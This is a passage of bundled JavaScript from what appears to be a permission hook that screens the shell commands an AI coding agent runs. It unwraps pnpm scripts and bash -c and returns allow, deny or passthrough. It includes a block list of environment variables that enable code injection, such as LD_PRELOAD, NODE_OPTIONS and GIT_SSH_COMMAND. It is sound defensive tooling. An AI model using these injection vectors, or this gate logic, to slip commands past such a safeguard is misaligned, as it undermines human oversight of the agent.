ctx)\n	},\n	{\n		name: \"mkdir\",\n		match: /^mkdir$/,\n		action: \"allow\",\n		when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n	},\n	{\n		name: \"touch\",\n		match: /^touch$/,\n		action: \"allow\",\n		when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n	},\n	{\n		name: \"mv-docs\",\n		match: /^mv$/,\n		action: \"allow\",\n		when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n	},\n	{\n		name: \"sed-docs\",\n		match: /^sed$/,\n		action: \"allow\",\n		when: (tokens, ctx) => isSedDocsSafe(tokens, ctx)\n	}\n];\n\n//#endregion\n//#region src/lib/workspace-root.ts\n/**\n* Walk up from `cwd` to the directory holding `pnpm-workspace.yaml`.\n*\n* Its own module rather than a `script-resolver.ts` export because\n* `settings.ts` needs it and `script-resolver.ts` needs `settings.ts`,\n* which is a cycle the health gate reports.\n*/\nfunction findWorkspaceRoot(cwd) {\n	let dir = resolve(cwd);\n	while (true) {\n		if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n		const parent = dirname(dir);\n		if (parent === dir) return null;\n		dir = parent;\n	}\n}\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n	allow: array(string().min(1)).default([]),\n	protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error -- safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n	try {\n		execFileSync(\"git\", [\n			\"ls-files\",\n			\"--error-unmatch\",\n			relativePath\n		], {\n			cwd,\n			stdio: \"ignore\"\n		});\n		execFileSync(\"git\", [\n			\"diff\",\n			\"--quiet\",\n			\"HEAD\",\n			\"--\",\n			relativePath\n		], {\n			cwd,\n			stdio: \"ignore\"\n		});\n		return true;\n	} catch {\n		return false;\n	}\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n	const root = findWorkspaceRoot(cwd) ?? cwd;\n	const settingsFile = join(root, SETTINGS_PATH);\n	const empty = {\n		allow: [],\n		protectedBranches: []\n	};\n	if (!existsSync(settingsFile)) return empty;\n	if (!isFileClean(root, SETTINGS_PATH)) return empty;\n	try {\n		const raw = readFileSync(settingsFile, \"utf-8\");\n		const parsed = JSON.parse(raw);\n		const result = BstHookSettingsSchema.safeParse(parsed);\n		if (!result.success) return empty;\n		return {\n			allow: result.data.allow,\n			protectedBranches: result.data.protectedBranches\n		};\n	} catch {\n		return empty;\n	}\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n	const parts = pattern.split(/\\s+/).filter(Boolean);\n	if (parts.length === 0) return false;\n	if (parts[0] !== cmdName) return false;\n	const patternArgs = parts.slice(1);\n	const actualArgs = tokens.slice(1);\n	for (let i = 0; i < patternArgs.length; i++) {\n		if (i >= actualArgs.length) return false;\n		if (actualArgs[i] !== patternArgs[i]) return false;\n	}\n	return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n	const scripts = readScripts(cwd);\n	if (!scripts) return null;\n	const main = scripts[scriptName];\n	if (typeof main !== \"string\") return null;\n	const pre = scripts[`pre${scriptName}`];\n	const post = scripts[`post${scriptName}`];\n	return {\n		pre: typeof pre === \"string\" ? pre : null,\n		main,\n		post: typeof post === \"string\" ? post : null\n	};\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n	const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n	if (!pkgDir) return null;\n	const script = resolveScript(scriptName, pkgDir);\n	if (!script) return null;\n	return {\n		...script,\n		pkgDir\n	};\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n	const pkgDirs = listWorkspacePackageDirs(rootDir);\n	if (!pkgDirs) return null;\n	const results = [];\n	for (const pkgDir of pkgDirs) {\n		const resolved = resolveScript(scriptName, pkgDir);\n		if (resolved) results.push({\n			...resolved,\n			pkgDir\n		});\n	}\n	return results;\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n	const patterns = readWorkspacePatterns(rootDir);\n	if (!patterns) return null;\n	const dirs = [];\n	for (const pattern of patterns) {\n		if (!pattern.endsWith(\"/*\")) continue;\n		const baseDir = pattern.slice(0, -2);\n		const parentDir = resolve(rootDir, baseDir);\n		let entries;\n		try {\n			entries = readdirSync(parentDir);\n		} catch {\n			continue;\n		}\n		for (const entry of entries) {\n			const entryDir = join(parentDir, entry);\n			try {\n				if (!statSync(entryDir).isDirectory()) continue;\n			} catch {\n				continue;\n			}\n			dirs.push(entryDir);\n		}\n	}\n	return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n	const pkgDirs = listWorkspacePackageDirs(rootDir);\n	if (!pkgDirs) return null;\n	for (const entryDir of pkgDirs) {\n		const name = readPackageName(entryDir);\n		if (name === pkgName || name === `@${pkgName}`) return entryDir;\n		if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n		if (name) {\n			if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n		}\n	}\n	return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n	try {\n		const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n		const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n		if (packagesIdx === -1) return null;\n		const patterns = [];\n		for (let i = packagesIdx + 1; i < lines.length; i++) {\n			const line = lines[i];\n			const match = /^\\s+-\\s+(.+)$/.exec(line);\n			if (!match) break;\n			patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n		}\n		return patterns.length > 0 ? patterns : null;\n	} catch {\n		return null;\n	}\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n	try {\n		const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n		const result = PackageNameSchema.safeParse(JSON.parse(raw));\n		if (!result.success) return null;\n		return result.data.name;\n	} catch {\n		return null;\n	}\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n	try {\n		const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n		const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n		if (!result.success) return null;\n		return result.data.scripts;\n	} catch {\n		return null;\n	}\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) -- safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n	return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n	\"LD_PRELOAD\",\n	\"LD_LIBRARY_PATH\",\n	\"DYLD_INSERT_LIBRARIES\",\n	\"NODE_OPTIONS\",\n	\"PYTHONPATH\",\n	\"PYTHONSTARTUP\",\n	\"PERL5OPT\",\n	\"PERL5LIB\",\n	\"RUBYOPT\",\n	\"RUBYLIB\",\n	\"BASH_ENV\",\n	\"ENV\",\n	\"npm_config_prefix\",\n	\"npm_config_registry\",\n	\"EDITOR\",\n	\"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n	\"GIT_CONFIG_\",\n	\"GIT_PAGER\",\n	\"GIT_SSH_COMMAND\",\n	\"GIT_EDITOR\",\n	\"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n	if (DANGEROUS_ENV_VARS.has(name)) return true;\n	return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n	const tokenResult = tokenize(segment);\n	if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n	const tokens = tokenResult.tokens;\n	if (tokens[0] !== \"cd\") return null;\n	const dir = tokens[1];\n	if (path.isAbsolute(dir)) return dir;\n	return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n	if (ctx.depth >= MAX_EVAL_DEPTH) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"max evaluation depth exceeded\"\n	};\n	const trimmed = command.trim();\n	if (!trimmed) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: null\n	};\n	if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"subshell\"\n	};\n	const segments = splitCommand(trimmed);\n	if (segments.length === 0) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: null\n	};\n	let firstPassthrough = null;\n	let lastAllow = null;\n	const currentCtx = { ...ctx };\n	for (const segment of segments) {\n		if (segment.operator === \"&&\") {\n			const cdDir = extractCdDir(segment.command, currentCtx);\n			if (cdDir) currentCtx.cwd = cdDir;\n		}\n		const result = evaluateSegment(segment.command, currentCtx);\n		if (result.action === \"deny\") return result;\n		if (result.action === \"passthrough\") {\n			if (!firstPassthrough) firstPassthrough = result;\n		}\n		if (result.action === \"allow\") lastAllow = result;\n	}\n	if (firstPassthrough) return firstPassthrough;\n	if (segments.length === 1 && lastAllow) return lastAllow;\n	return {\n		action: \"allow\",\n		rule: \"all-segments\",\n		reason: null\n	};\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n	const pkgDir = resolved.pkgDir ?? ctx.cwd;\n	const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n		...ctx,\n		insideResolvedScript: true\n	} : ctx;\n	if (resolved.pre) {\n		const preResult = evaluateCommand(resolved.pre, innerCtx);\n		if (preResult.action !== \"allow\") return preResult;\n	}\n	const mainResult = evaluateCommand(resolved.main, innerCtx);\n	if (mainResult.action !== \"allow\") return mainResult;\n	if (resolved.post) {\n		const postResult = evaluateCommand(resolved.post, innerCtx);\n		if (postResult.action !== \"allow\") return postResult;\n	}\n	return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n	const trimmed = rawSegment.trim();\n	if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"subshell\"\n	};\n	const tokenResult = tokenize(rawSegment);\n	if (!tokenResult.ok) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: tokenResult.error\n	};\n	let tokens = tokenResult.tokens;\n	if (tokens.length === 0) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: null\n	};\n	let envSkipped = 0;\n	while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n		const varName = tokens[envSkipped].split(\"=\")[0];\n		if (isDangerousEnvVar(varName)) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: `dangerous env var: ${varName}`\n		};\n		envSkipped++;\n	}\n	if (envSkipped >= tokens.length) return {\n		action: \"allow\",\n		rule: \"env-only\",\n		reason: null\n	};\n	tokens = tokens.slice(envSkipped);\n	if (writesIntoNodeModules(tokens, ctx)) return {\n		action: \"deny\",\n		rule: \"node-modules-write\",\n		reason: NODE_MODULES_WRITE_REASON\n	};\n	const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n	if (!injection.safe) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: injection.reason\n	};\n	if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n		const token = tokens[i];\n		if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n		if (token === \">\" || token === \">>\") {\n			if (tokens[i + 1] === \"/dev/null\") continue;\n			return {\n				action: \"passthrough\",\n				rule: null,\n				reason: \"output redirect to file\"\n			};\n		}\n		if (token === \"<\") return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"input redirect\"\n		};\n	}\n	const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n		\"2>&1\",\n		\"2>/dev/null\",\n		\">/dev/null\",\n		\"1>/dev/null\"\n	]);\n	tokens = tokens.filter((t, i) => {\n		if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n		if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n		if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n		return true;\n	});\n	const cmdName = path.basename(tokens[0]);\n	if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n	if (cmdName === \"env\") {\n		let envIdx = 1;\n		while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n			const varName = tokens[envIdx].split(\"=\")[0];\n			if (isDangerousEnvVar(varName)) return {\n				action: \"passthrough\",\n				rule: null,\n				reason: `dangerous env var: ${varName}`\n			};\n			envIdx++;\n		}\n		if (envIdx >= tokens.length) return {\n			action: \"allow\",\n			rule: \"env-only\",\n			reason: null\n		};\n		return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n	if (cmdName === \"npm\") return evaluateNpm(tokens);\n	if (cmdName === \"mise\" && tokens[1] === \"exec\") {\n		const inner = miseExecInner(tokens);\n		if (!inner) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"bare mise exec\"\n		};\n		return evaluateCommand(joinTokens(inner), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n	if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n	if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"node eval\"\n	};\n	for (const rule of denyRules) if (rule.match.test(cmdName)) {\n		if (!rule.when || rule.when(tokens, ctx)) return {\n			action: \"deny\",\n			rule: rule.name,\n			reason: rule.reason ?? null\n		};\n	}\n	for (const rule of allowRules) if (rule.match.test(cmdName)) {\n		if (!rule.when || rule.when(tokens, ctx)) {\n			const advice = rule.advise?.(tokens, ctx);\n			return {\n				action: \"allow\",\n				rule: rule.name,\n				reason: null,\n				...advice ? { advice } : {}\n			};\n		}\n	}\n	if (ctx.repoAllowPatterns) {\n		for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n			action: \"allow\",\n			rule: `repo:${cmdName}`,\n			reason: null\n		};\n	}\n	if (ctx.insideResolvedScript) return {\n		action: \"allow\",\n		rule: \"resolved-script\",\n		reason: null\n	};\n	return {\n		action: \"passthrough\",\n		rule: null,\n		reason: `no rule matched: ${cmdName}`\n	};\n}\n/**\n* The inner command of `mise exec [tool@version...] -- <cmd...>`: everything after the `--`\n* separator. `undefined` when there is no `--` (a bare `mise exec` with nothing to unwrap) or\n* nothing follows it.\n*/\nfunction miseExecInner(tokens) {\n	const dashIdx = tokens.indexOf(\"--\");\n	if (dashIdx === -1) return void 0;\n	const inner = tokens.slice(dashIdx + 1);\n	return inner.length > 0 ? inner : void 0;\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n	for (let i = from; i < subTokens.length; i++) {\n		const t = subTokens[i];\n		if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n			name: void 0,\n			filterIdx: i\n		};\n		if (t === \"-r\" || t === \"--recursive\") {\n			state.isRecursive = true;\n			continue;\n		}\n		if (t === \"-w\" || t === \"--workspace-root\") {\n			state.isWorkspaceRoot = true;\n			continue;\n		}\n		if (t === \"-C\" || t === \"--dir\") {\n			state.dirOverride = subTokens[++i];\n			continue;\n		}\n		if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n			state.dirOverride = t.split(\"=\", 2)[1];\n			continue;\n		}\n		if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n		return { name: t };\n	}\n	return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n	const subTokens = tokens.slice(1);\n	const state = {\n		isRecursive: false,\n		isWorkspaceRoot: false,\n		dirOverride: void 0\n	};\n	const scan = scanPnpmFlags(subTokens, 0, state);\n	if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n	const subcommand = scan.name;\n	const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n	if (!subcommand) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: null\n	};\n	if (subcommand === \"dlx\") return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm dlx\"\n	};\n	if (subcommand === \"add\") return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm add\"\n	};\n	if (subcommand === \"exec\") {\n		const execArgs = subTokens.slice(subcommandIdx + 1);\n		if (execArgs.length === 0) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"bare pnpm exec\"\n		};\n		return evaluateCommand(joinTokens(execArgs), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	let scriptName;\n	let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n	if (subcommand === \"run\") {\n		const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n		({isRecursive, isWorkspaceRoot, dirOverride} = state);\n		if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n		if (!runScan.name) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"pnpm run without script name\"\n		};\n		scriptName = runScan.name;\n	} else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n	else {\n		for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n			if (!rule.when || rule.when(tokens, ctx)) return {\n				action: \"allow\",\n				rule: rule.name,\n				reason: null\n			};\n		}\n		return {\n			action: \"passthrough\",\n			rule: null,\n			reason: null\n		};\n	}\n	if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n	if (isWorkspaceRoot) {\n		const root = findWorkspaceRoot(ctx.cwd);\n		if (!root) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"workspace root not found\"\n		};\n		return evaluatePnpmScript(scriptName, {\n			...ctx,\n			cwd: root\n		});\n	}\n	if (dirOverride) {\n		const resolved = path.resolve(ctx.cwd, dirOverride);\n		return evaluatePnpmScript(scriptName, {\n			...ctx,\n			cwd: resolved\n		});\n	}\n	return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n	const resolved = resolveScript(scriptName, ctx.cwd);\n	if (!resolved) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"script resolution failed\"\n	};\n	const res = evaluateResolvedScript(resolved, {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n	if (res !== \"allow\") return res;\n	return {\n		action: \"allow\",\n		rule: `pnpm-script:${scriptName}`,\n		reason: null\n	};\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n	const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n	if (!resolved || resolved.length === 0) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm recursive\"\n	};\n	for (const pkg of resolved) {\n		const res = evaluateResolvedScript(pkg, {\n			...ctx,\n			depth: ctx.depth + 1,\n			cwd: pkg.pkgDir ?? ctx.cwd\n		});\n		if (res !== \"allow\") return res;\n	}\n	return {\n		action: \"allow\",\n		rule: `pnpm-recursive:${scriptName}`,\n		reason: null\n	};\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n	for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n		if (!rule.when || rule.when(tokens, {\n			cwd: \"\",\n			depth: 0\n		})) return {\n			action: \"allow\",\n			rule: rule.name,\n			reason: null\n		};\n	}\n	return {\n		action: \"deny\",\n		rule: \"npm-redirect\",\n		reason: getNpmRedirectReason(tokens)\n	};\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package -- all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n	const filterPkgs = [];\n	let cursor = filterIdx;\n	while (cursor < subTokens.length) {\n		const t = subTokens[cursor];\n		if (t === \"--filter\" || t === \"-F\") {\n			const pkg = subTokens[cursor + 1];\n			if (!pkg || pkg.startsWith(\"-\")) return {\n				action: \"passthrough\",\n				rule: null,\n				reason: \"pnpm --filter without package\"\n			};\n			filterPkgs.push(pkg);\n			cursor += 2;\n		} else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n			const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n			if (!pkg) return {\n				action: \"passthrough\",\n				rule: null,\n				reason: \"pnpm --filter without package\"\n			};\n			filterPkgs.push(pkg);\n			cursor += 1;\n		} else break;\n	}\n	if (filterPkgs.length === 0) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm --filter without package\"\n	};\n	let filterSubcommand;\n	let subcmdIdx = -1;\n	for (let i = cursor; i < subTokens.length; i++) {\n		const t = subTokens[i];\n		if (t === \"--filter\" || t === \"-F\") {\n			i += 1;\n			continue;\n		}\n		if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n		if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n		filterSubcommand = t;\n		subcmdIdx = i;\n		break;\n	}\n	if (!filterSubcommand) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm --filter without subcommand\"\n	};\n	if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n		if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"pnpm --filter install with package arg\"\n		};\n		return {\n			action: \"allow\",\n			rule: \"pnpm\",\n			reason: null\n		};\n	}\n	if (filterSubcommand === \"dlx\") return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm dlx\"\n	};\n	if (filterSubcommand === \"add\") return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm add\"\n	};\n	if ((/* @__PURE__ */ new Set([\n		\"list\",\n		\"ls\",\n		\"ll\",\n		\"la\",\n		\"why\",\n		\"view\",\n		\"info\",\n		\"show\",\n		\"outdated\",\n		\"licenses\",\n		\"audit\"\n	])).has(filterSubcommand)) return {\n		action: \"allow\",\n		rule: \"pnpm\",\n		reason: null\n	};\n	if (filterSubcommand === \"exec\") {\n		const execArgs = subTokens.slice(subcmdIdx + 1);\n		if (execArgs.length === 0) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"bare pnpm exec\"\n		};\n		return evaluateCommand(joinTokens(execArgs), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n	if (!scriptName || scriptName.startsWith(\"-\")) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"pnpm --filter run without script name\"\n	};\n	if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n		action: \"passthrough\",\n		rule: null,\n		reason: null\n	};\n	for (const pkg of filterPkgs) {\n		const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n		if (!resolved) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"filtered script resolution failed\"\n		};\n		const res = evaluateResolvedScript(resolved, {\n			...ctx,\n			depth: ctx.depth + 1,\n			cwd: resolved.pkgDir ?? ctx.cwd\n		});\n		if (res !== \"allow\") return res;\n	}\n	return {\n		action: \"allow\",\n		rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n		reason: null\n	};\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n	\"-i\",\n	\"--interactive\",\n	\"-l\",\n	\"--login\",\n	\"--init-file\",\n	\"--rcfile\",\n	\"--norc\",\n	\"--noprofile\",\n	\"-s\",\n	\"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c -> passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n	const cIdx = tokens.indexOf(\"-c\");\n	if (cIdx === -1) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"shell without -c\"\n	};\n	for (let i = 1; i < tokens.length; i++) {\n		if (i === cIdx) continue;\n		if (i === cIdx + 1) continue;\n		const t = tokens[i];\n		if (t.startsWith(\"-\") || SHELL_UNSAFE_FLAGS.has(t)) return {\n			action: \"passthrough\",\n			rule: null,\n			reason: \"shell -c with extra flags\"\n		};\n	}\n	const cmdArg = tokens[cIdx + 1];\n	if (!cmdArg) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"shell -c without command\"\n	};\n	if (tokens.length > cIdx + 2) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"shell -c with positional args\"\n	};\n	if (cIdx !== 1) return {\n		action: \"passthrough\",\n		rule: null,\n		reason: \"shell -c with extra flags\"\n	};\n	return evaluateCommand(cmdArg, {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n	\"-I\",\n	\"-d\",\n	\"-n\",\n	\"-P\",\n	\"-s\",\n	\"-L\",\n	\"-E\",\n	\"-a\",\n	\"--max-args\",\n	\"--max-procs\",\n	\"--delimiter\",\n	\"--replace\",\n	\"--max-lines\",\n	\"--max-chars\",\n	\"--arg-file\",\n	\"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n	\"-0\",\n	